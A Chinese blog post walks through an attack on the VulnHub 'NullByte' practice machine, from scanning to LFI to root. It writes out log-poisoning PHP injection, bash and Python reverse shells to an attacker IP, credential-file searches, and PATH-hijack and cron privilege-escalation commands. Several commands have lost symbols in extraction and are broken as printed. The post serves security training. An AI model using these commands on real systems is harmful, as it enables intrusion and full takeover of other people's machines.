多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

从LFI到Root:一次完整渗透测试实战流程深度解析

从LFI到Root:一次完整渗透测试实战流程深度解析 1. 项目概述一次完整的渗透测试实战复盘最近在整理渗透测试的实战笔记翻到了几年前在VulnHub上练习的“NullByte”靶机。这虽然是一个老靶机但它的设计非常经典几乎涵盖了从信息收集、Web渗透、权限提升到最终获取Root权限的完整攻击链。对于刚入门红队渗透测试的朋友来说NullByte是一个绝佳的“练手”对象它能帮你建立起一个清晰的渗透测试思维框架。今天我就以从业者的视角详细拆解一下这台靶机的打靶思路不仅告诉你每一步“怎么做”更会深入分析“为什么这么做”以及在实际操作中可能遇到的“坑”和应对技巧。无论你是想巩固基础还是想学习如何将零散的知识点串联成一个完整的攻击流程这篇复盘都能给你带来启发。2. 靶机环境与核心思路解析2.1 靶机背景与目标设定NullByte靶机被设计成一个存在多个漏洞的Linux系统最终目标是获取系统的最高权限root shell。它模拟了一个典型的、防护措施不完善的Web服务器环境其中包含了过时的服务、配置错误以及不安全的代码实践。我们的攻击路径将遵循标准的渗透测试流程外围侦察 - 漏洞发现与利用 - 初步立足 - 权限提升。整个过程的精髓不在于使用多么高精尖的漏洞而在于对基础工具的熟练运用和对线索的敏锐串联。2.2 整体攻击路径预演在动手之前我们先在脑子里画一张“攻击地图”。根据经验这类靶机的常见入口点无非几个开放的Web端口80/443、有漏洞的服务如FTP、SMB、或者是隐藏的目录和文件。NullByte的突破口大概率在Web应用上。因此我们的核心思路可以概括为首先进行全面的端口扫描和服务识别定位Web应用然后对Web应用进行目录爆破和参数分析寻找注入点或文件上传点获取低权限shell后再在系统内部进行信息收集寻找提权漏洞如SUID文件、内核漏洞、计划任务等。这个思路是通用的适用于绝大多数CTF靶机和真实世界中防护薄弱的目标。3. 第一阶段外围信息收集与漏洞发现信息收集是渗透测试的基石做得越细致后续的攻击就越顺畅。对于NullByte我们需要像侦探一样不放过任何蛛丝马迹。3.1 网络扫描与端口探测首先我们需要找到靶机的IP地址。在VulnHub的虚拟机环境中通常使用netdiscover或查看ARP表来发现新主机。假设我们通过netdiscover -r 192.168.1.0/24发现了靶机IP为192.168.1.105。接下来使用Nmap进行全端口扫描和服务识别。这里不建议一上来就用-A这种激进选项可能会触发警报。我习惯分步进行# 快速扫描确认开放端口 nmap -sS -T4 192.168.1.105 # 针对发现的端口进行详细版本探测 nmap -sV -sC -p 发现的端口 192.168.1.105在NullByte上扫描结果通常会显示开放了80端口HTTP和111端口rpcbind。80端口是我们的主攻方向。-sC脚本扫描可能会揭示一些有用的信息比如服务器类型Apache、PHP版本等。注意在实际攻防演练或授权测试中扫描速度和频率需要根据规则调整。对于CTF或练习可以更全面一些。3.2 Web应用深度侦察发现80端口后我们打开浏览器访问http://192.168.1.105。初始页面可能看起来很简单甚至只有一个默认的Apache页面或一个简单的登录框。这时需要启动我们的“侦查武器库”。目录与文件爆破使用gobuster或dirb工具配合一个强大的字典如/usr/share/wordlists/dirb/common.txt或SecLists中的字典寻找隐藏的目录、后台登录页面、配置文件等。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,log,bak这个命令会寻找常见扩展名的文件。在NullByte中你很可能会发现一个关键的目录比如/kzillion/或/phpmyadmin/这里以/kzillion/为例具体目录名以实际靶机为准。这个目录下可能存放着核心的Web应用。页面源代码审查不要只看页面渲染效果一定要右键“查看页面源代码”。开发者注释、隐藏的表单字段、内联的JavaScript都可能泄露关键信息。例如注释里可能写着“ ”或者存在一个隐藏的输入框input typehidden namedebug value1。参数分析与模糊测试对于发现的任何输入点如搜索框、登录框都要测试是否存在SQL注入、命令注入、文件包含等漏洞。可以使用Burp Suite的Intruder模块或者命令行工具ffuf进行参数模糊测试。# 测试GET参数id是否存在漏洞 ffuf -u http://192.168.1.105/kzillion/script.php?FUZZtest -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -fs 过滤掉的大小实操心得信息收集阶段最忌浮躁。有时候工具跑一遍没发现什么可能需要换一个更专业的字典或者手动尝试一些常见的路径组合如/admin//backup//config.php.bak。对于NullByte突破口往往就在这些“不起眼”的目录或文件里。4. 第二阶段Web渗透与初始访问通过深度侦察我们假设发现了/kzillion/目录里面有一个script.php文件它接收一个file参数看起来像是文件包含漏洞。4.1 漏洞验证与利用访问http://192.168.1.105/kzillion/script.php?fileindex.php如果页面正常显示而尝试../../../../etc/passwd时也返回了系统的passwd文件内容那么本地文件包含LFI漏洞就坐实了。LFI漏洞的利用方式非常灵活读取敏感文件我们已经读了/etc/passwd还可以读Web配置文件如/etc/apache2/sites-available/000-default.conf、日志文件/var/log/apache2/access.log、甚至应用程序的源码script.php本身通过PHP封装器php://filter。# 使用PHP封装器读取PHP文件源码避免被执行 http://192.168.1.105/kzillion/script.php?filephp://filter/convert.base64-encode/resourcescript.php返回的是一串Base64编码解码后就能看到script.php的源代码。仔细审计源码可能会发现其他隐藏参数或逻辑缺陷。日志文件注入实现RCE这是LFI漏洞升级为远程代码执行RCE的经典方法。原理是我们可以通过User-Agent或GET/POST参数将PHP代码注入到Apache的访问日志中/var/log/apache2/access.log然后通过LFI漏洞去包含这个日志文件服务器就会执行我们注入的代码。步骤一注入代码。使用Burp Suite或curl在请求中插入PHP代码。curl -A ?php system(\$_GET[cmd]); ? http://192.168.1.105/这个命令将一句PHP代码作为User-Agent发送该代码会被记录到access.log中。步骤二包含日志文件执行命令。http://192.168.1.105/kzillion/script.php?file/var/log/apache2/access.logcmdid如果成功页面会返回命令id的执行结果当前用户权限。4.2 获取反向Shell验证RCE成功后我们需要一个更稳定的交互式shell。最可靠的方法是使用netcat发起一个反向连接。在攻击机上监听nc -lvnp 4444通过漏洞执行反向连接命令 我们需要将一条反向Shell命令进行URL编码然后通过cmd参数执行。# 常用的bash反向shell命令 bash -c bash -i /dev/tcp/192.168.1.100/4444 01将其编码后通过漏洞触发http://...script.php?file/var/log/apache2/access.logcmdbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.100%2F4444%200%3E%261%27注意这里的192.168.1.100需要替换为你攻击机的真实IP。Shell稳定性处理获得的shell可能功能不全没有交互式提示、无法使用Tab补全等。我们需要对其进行升级# 在获得的shell中执行 python -c import pty; pty.spawn(/bin/bash) # 或者 script /dev/null -c bash然后按CtrlZ挂起在攻击机终端输入stty raw -echo; fg最后再执行export TERMxterm。这样就能得到一个功能完整的TTY shell了。踩坑记录在实际操作中目标系统可能没有安装netcat或者其版本不支持-e参数。因此掌握多种反向Shell的写法如用Python、PHP、Perl、甚至Telnet至关重要。例如Python反向Shellpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);。5. 第三阶段内部信息收集与横向移动拿到一个低权限的shell通常是www-data用户后我们相当于在城堡内部获得了一个落脚点。接下来要做的就是摸清环境寻找向更高权限root攀登的路径。5.1 系统基础信息枚举这是一套标准化的“内网侦查”动作我习惯写成一个简单的脚本来快速执行# 查看当前用户和权限 id; whoami # 查看操作系统和内核版本 uname -a; cat /etc/issue; cat /etc/*release # 查看网络连接和监听端口 netstat -antup; ss -tulpn # 查看进程列表找是否有以root运行的有趣服务 ps aux | grep root # 查看计划任务 crontab -l; ls -la /etc/cron*; cat /etc/crontab # 查看是否有密码或备份文件 find / -name *id_rsa* -o -name *backup* -o -name *.bak -o -name *.old 2/dev/null find /home -name *.txt -o -name *.log 2/dev/null # 查看SUID/SGID文件提权重点 find / -perm -us -type f 2/dev/null find / -perm -gs -type f 2/dev/null # 查看可写目录或文件 find / -writable -type d 2/dev/null | grep -v proc | grep -v sys在NullByte靶机中执行find / -perm -us -type f 2/dev/null可能会列出一个不常见的、具有SUID权限的二进制文件这就是我们提权的关键。同时在/home目录或Web目录下仔细搜寻可能会发现一些包含用户名、密码哈希或提示的文本文件。5.2 数据库与配置文件挖掘由于这是一个Web靶机数据库往往是信息宝库。查找数据库配置文件在Web根目录或其上层目录寻找config.phpdb_connect.php.env等文件。find /var/www -name *.php | xargs grep -l mysql_connect\|mysqli\|PDO\|password 2/dev/null尝试连接数据库如果找到凭据尝试用mysql命令行连接。可能发现存储的用户密码可能是明文或弱哈希。实操心得内部枚举一定要有耐心和条理。把输出结果保存下来仔细分析。有时候一个不起眼的.bash_history文件用户命令历史会泄露sudo密码或者SSH私钥的路径。在NullByte中关键线索往往就藏在某个用户的目录下或者某个配置文件的注释里。6. 第四阶段权限提升与Root获取这是最后也是最考验技巧的一步。我们需要把收集到的“碎片”拼凑起来找到那条通往root的道路。6.1 利用SUID二进制文件提权假设我们在上一步发现了一个具有SUID权限的可疑程序比如/usr/bin/某程序。SUID意味着任何用户运行这个程序时都会以文件所有者的权限执行通常是root。分析程序功能首先尝试运行它看看是干什么的或者用strings命令查看其中的字符串。strings /usr/bin/某程序在输出中寻找对系统命令的调用比如catlsfind或者对文件的读写操作。利用路径劫持如果这个SUID程序内部调用了另一个命令例如cat /home/user/file.txt并且没有使用绝对路径只写了cat那么我们就可以利用环境变量PATH进行劫持。原理系统在执行cat时会在PATH环境变量指定的目录中从左到右寻找名为cat的可执行文件。操作我们创建一个临时的可写目录在里面编写一个恶意的cat脚本内容为/bin/bash或/bin/sh然后修改当前会话的PATH让我们目录的优先级最高。# 在当前目录创建恶意cat echo /bin/bash /tmp/evil_cat chmod x /tmp/evil_cat # 修改PATH将/tmp放在最前面 export PATH/tmp:$PATH # 运行SUID程序 /usr/bin/某程序如果程序调用了cat它就会执行我们的/tmp/evil_cat从而弹出一个root shell。6.2 利用计划任务Cron Job提权另一种常见提权方式是计划任务。如果发现有一个以root权限定期运行的脚本并且这个脚本我们有写入权限或者它引用了我们有写入权限的文件我们就可以实现提权。查找不安全的Cron Jobls -la /etc/cron* /var/spool/cron/crontabs/ cat /etc/crontab仔细查看每个计划任务的内容看它执行的是什么脚本。利用通配符或脚本覆盖假设发现一个任务* * * * * root /opt/cleanup.sh而我们发现/opt/cleanup.sh这个文件我们www-data用户可以写入。那么事情就简单了echo cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash /opt/cleanup.sh chmod x /opt/cleanup.sh等待一分钟计划任务以root身份执行了这个脚本就会在/tmp目录下创建一个具有SUID权限的bash副本。我们运行/tmp/rootbash -p就能获得root shell。6.3 内核漏洞提权最后手段如果以上方法都行不通可以尝试内核漏洞提权。首先用uname -a查看内核版本然后在攻击机上搜索对应的本地提权LPE漏洞利用代码。# 在攻击机上使用searchsploit搜索 searchsploit linux kernel 版本号 privilege escalation重要警告内核漏洞利用风险极高可能导致系统崩溃蓝屏/死机。在真实生产环境或重要靶机上这是最后的选择。在NullByte这类练习靶机上通常会有更“优雅”的非内核提权方式。在NullByte靶机的实际案例中提权路径往往与一个自定义的SUID程序或一个配置错误的Cron Job相关。你需要将之前信息收集阶段发现的线索如某个奇怪的文件、一段数据库中的密码、一个可写的脚本路径结合起来构造出完整的利用链。7. 常见问题与排查技巧实录在实际打靶过程中绝不会一帆风顺。下面是我在打NullByte及类似靶机时遇到的一些典型问题和解决方法。7.1 Web漏洞利用失败问题LFI包含日志文件后执行命令无回显。排查首先确认日志路径是否正确。不同系统日志路径可能不同/var/log/httpd/access_log/var/log/nginx/access.log。其次检查注入的代码是否被正确写入日志。可以尝试包含日志文件本身看看我们的User-Agent是否被原样记录注意特殊字符可能被转义。最后尝试不同的PHP代码执行方式如passthru()exec()shell_exec()或者使用反引号。技巧使用Burp Suite的Repeater模块可以方便地修改和重放请求观察响应变化。问题反向Shell连接不上。排查检查攻击机防火墙是否放行了监听端口如4444。检查命令中的IP和端口是否正确。检查目标系统是否有出站限制虽然CTF靶机通常没有。尝试更换监听工具ncrlwrap ncsocat或反向Shell的payload尝试Python、Perl、PHP版本。技巧使用which python python2 python3查看目标系统有哪些解释器可用选择最合适的来构造payload。7.2 权限提升受阻问题找到的SUID程序无法利用。排查用ltrace或strace工具动态分析程序运行过程看它具体执行了哪些系统调用和库函数。# 可能需要先上传strace到目标机器或者目标机器已安装 strace /usr/bin/可疑程序 21 | grep execve这能清晰地看到程序执行了哪些外部命令以及它们的路径从而判断是否存在劫持可能。技巧不要只盯着明显的系统命令。程序可能调用了一些不常见的工具或者其本身逻辑存在缓冲区溢出漏洞需要更高级的利用技巧。问题计划任务提权不生效。排查确认脚本的修改时间用ls -la查看。等待足够长的时间至少两个周期。查看系统日志/var/log/syslog或/var/log/cron.log看计划任务是否有报错信息。技巧在写入的脚本开头加一句/bin/bash -c touch /tmp/testfile这是一个无害的测试命令可以快速验证脚本是否被以root权限执行。7.3 信息收集遗漏关键线索问题感觉枚举了一遍还是找不到头绪。排查回顾你的枚举命令是否全面。是否检查了所有用户的家目录/home/*/root/是否查看了所有.bash_history.ssh/目录是否用find命令搜索了所有包含“password” “key” “secret”字符串的文件find / -type f -name *.php -o -name *.txt -o -name *.conf 2/dev/null | xargs grep -l -i password\|passwd\|secret\|key 2/dev/null技巧有时候线索不在文件内容而在文件的权限和属性上。再次仔细检查find / -perm -4000 2/dev/null和find / -writable -type f 2/dev/null的输出特别是那些属于root但全世界可写的文件这往往是巨大的安全隐患。打靶就像解谜每一步都建立在上一步获得的信息之上。NullByte靶机设计的精妙之处就在于它引导你实践了一个非常标准的渗透测试流程。从外网扫描发现服务到Web目录爆破找到入口点利用LFI升级到RCE拿到shell再到内网枚举发现提权向量最终通过路径劫持或计划任务拿到root。整个过程环环相扣缺一不可。对于新手而言最大的收获不是记住某个特定漏洞的利用方式而是学会这种“侦察-利用-扩展”的思维方式以及面对问题时如何有条理地排查和解决。这才是红队实战能力的核心。
返回列表